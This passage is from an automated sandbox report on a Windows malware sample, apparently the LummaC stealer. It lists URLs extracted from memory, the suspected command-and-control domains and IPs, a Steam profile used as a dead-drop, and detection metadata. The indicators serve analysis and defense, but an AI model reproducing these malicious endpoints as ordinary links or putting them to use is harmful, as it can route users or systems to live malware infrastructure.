https://steamcommunity.com/?subsection=broadcasts	file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://sergei-esenin.com/	file.exe, 00000000.00000002.1972941186.0000000000D82000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1820309604.0000000000D82000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808609124.0000000000D82000.00000004.00000020.00020000.00000000.sdmp	true	0%, Virustotal, Browse	unknown
https://store.steampowered.com/subscriber_agreement/	file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/scriptacul	file.exe, 00000000.00000003.1820309604.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808609124.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/)	file.exe, 00000000.00000003.1808609124.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.valvesoftware.com/legal.htm	file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp	file.exe, 00000000.00000003.1820309604.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808609124.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&amp	file.exe, 00000000.00000003.1820309604.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808609124.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&	file.exe, 00000000.00000003.1808609124.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL	file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=hgPi	file.exe, 00000000.00000002.1972650341.0000000000D35000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english	file.exe, 00000000.00000003.1808609124.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l	file.exe, 00000000.00000003.1820309604.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808609124.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://store.steampowered.com/privacy_agreement/	file.exe, 00000000.00000002.1973017733.0000000000DDD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1820181604.0000000000DDD000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akam	file.exe, 00000000.00000003.1808609124.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com:443/profiles/76561199724331900	file.exe, 00000000.00000002.1972650341.0000000000D3F000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
https://store.steampowered.com/points/shop/	file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/profiles/76561199724331900/inventory/	file.exe, 00000000.00000002.1973017733.0000000000DDD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1820181604.0000000000DDD000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DC9000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/privacy_agreement/	file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.cloudflare.com/5xx-error-landing	file.exe, 00000000.00000003.1808609124.0000000000D55000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1820309604.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808609124.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&l=en	file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0	file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://sergei-esenin.com:443/api	file.exe, 00000000.00000002.1972650341.0000000000D3F000.00000004.00000020.00020000.00000000.sdmp	true	19%, Virustotal, Browse	unknown
https://sergei-esenin.com/k	file.exe, 00000000.00000002.1972941186.0000000000D82000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1820309604.0000000000D82000.00000004.00000020.00020000.00000000.sdmp	true	8%, Virustotal, Browse	unknown
https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=2Ih2WOq7ErXY&a	file.exe, 00000000.00000002.1972650341.0000000000D35000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am	file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english	file.exe, 00000000.00000003.1820309604.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808609124.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/profiles/76561	file.exe, 00000000.00000002.1972650341.0000000000D35000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english	file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png	file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis	file.exe, 00000000.00000003.1820309604.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808609124.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC	file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/about/	file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/my/wishlist/	file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://community.akamai.steamstatic.com/public/javascript/global.js?v=9OzcxMXbaV84&l=english	file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.cloudflare.com/learning/access-management/	file.exe, 00000000.00000003.1820309604.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808609124.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808507756.0000000000DE6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://help.steampowered.com/en/	file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/market/	file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://store.steampowered.com/news/	file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://spirittunek.store:443/apii%	file.exe, 00000000.00000002.1972650341.0000000000D3F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/?subsection	file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://store.steampowered.com/subscriber_agreement/	file.exe, 00000000.00000002.1973017733.0000000000DDD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1820181604.0000000000DDD000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	file.exe, 00000000.00000002.1972650341.0000000000D35000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1973017733.0000000000DDD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1820181604.0000000000DDD000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1	file.exe, 00000000.00000003.1808609124.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l=en	file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://dissapoiznw.store:443/api	file.exe, 00000000.00000002.1972650341.0000000000D3F000.00000004.00000020.00020000.00000000.sdmp	false	22%, Virustotal, Browse	unknown
https://steamcommunity.com/discussions/	file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://steamcommunity.com/N	file.exe, 00000000.00000003.1808609124.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://store.steampowered.com/stats/	file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	file.exe, 00000000.00000002.1973017733.0000000000DDD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1820181604.0000000000DDD000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/steam_refunds/	file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://sergei-esenin.com/apiF	file.exe, 00000000.00000003.1820309604.0000000000D72000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1972941186.0000000000D73000.00000004.00000020.00020000.00000000.sdmp	true	0%, Virustotal, Browse	unknown
https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900	file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=jGtzAgjYROne&l=e	file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://steamcommunity.com/workshop/	file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steam	file.exe, 00000000.00000003.1808609124.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://store.steampowered.com/legal/	file.exe, 00000000.00000002.1973017733.0000000000DDD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1820181604.0000000000DDD000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e	file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://licendfilteo.site/api	file.exe, 00000000.00000003.1808609124.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1820309604.0000000000D72000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1972941186.0000000000D73000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv	file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=engl	file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://clearancek.site:443/api=	file.exe, 00000000.00000002.1972650341.0000000000D3F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/profiles/76561199724331900/inventory	file.exe, 00000000.00000002.1972650341.0000000000D35000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://upx.sf.net	Amcache.hve.4.dr	false	URL Reputation: safe	unknown
https://store.steampowered.com/	file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw	file.exe, 00000000.00000003.1820309604.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808609124.0000000000DAA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif	file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DC9000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valMr	file.exe, 00000000.00000002.1972650341.0000000000D35000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://clearancek.site/apin	file.exe, 00000000.00000003.1808609124.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1820309604.0000000000D72000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1972941186.0000000000D73000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://sergei-esenin.com/ll	file.exe, 00000000.00000003.1820309604.0000000000D72000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1972941186.0000000000D73000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://clearancek.site:443/apii	file.exe, 00000000.00000002.1972650341.0000000000D3F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=bz0kMfQA	file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english	file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/publdq	file.exe, 00000000.00000002.1972650341.0000000000D35000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://store.steampowered.com/account/cookiepreferences/	file.exe, 00000000.00000002.1973017733.0000000000DDD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1820181604.0000000000DDD000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/mobile	file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/	file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/javascript/profile.js?v=f3vWO7swdDqp&l=english	file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/modalContent.js?v=f2hMA1v9Zkc8&l=engl	file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/profiles/76561199724331900/badges	file.exe, 00000000.00000003.1808507756.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DCC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1807710149.0000000000DC9000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.102.49.254	steamcommunity.com	United States		16625	AKAMAI-ASUS	true
172.67.206.204	sergei-esenin.com	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1532867
Start date and time:	2024-10-14 03:56:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@3/5@10/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.42.73.29
Excluded domains from analysis (whitelisted): ocsp.digicert.com, login.live.com, slscr.update.microsoft.com, otelrules.azureedge.net, blobcollector.events.data.trafficmanager.net, onedsblobprdeus15.eastus.cloudapp.azure.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
21:57:08	API Interceptor	5x Sleep call for process: file.exe modified
21:57:26	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.102.49.254	http://gtm-cn-j4g3qqvf603.steamproxy1.com/	Get hash	malicious	Unknown	Browse	www.valvesoftware.com/legal.htm
172.67.206.204	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	SecuriteInfo.com.Win32.Evo-gen.15503.22039.exe	Get hash	malicious	LummaC	Browse
	SecuriteInfo.com.Variant.Lazy.606929.21165.21266.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
sergei-esenin.com	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	SecuriteInfo.com.Win32.Evo-gen.15503.22039.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	SecuriteInfo.com.Win32.Evo-gen.11764.10915.exe	Get hash	malicious	LummaC	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8
	SecuriteInfo.com.Variant.Lazy.606929.21165.21266.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	SecuriteInfo.com.Variant.Lazy.606929.30223.9667.exe	Get hash	malicious	LummaC	Browse	104.21.53.8
steamcommunity.com	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	SecuriteInfo.com.Win32.Evo-gen.15503.22039.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	SecuriteInfo.com.Win32.Evo-gen.11764.10915.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	SecuriteInfo.com.Variant.Lazy.606929.21165.21266.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	SecuriteInfo.com.Variant.Lazy.606929.30223.9667.exe	Get hash	malicious	LummaC	Browse	104.102.49.254

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	rPayment_slip.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
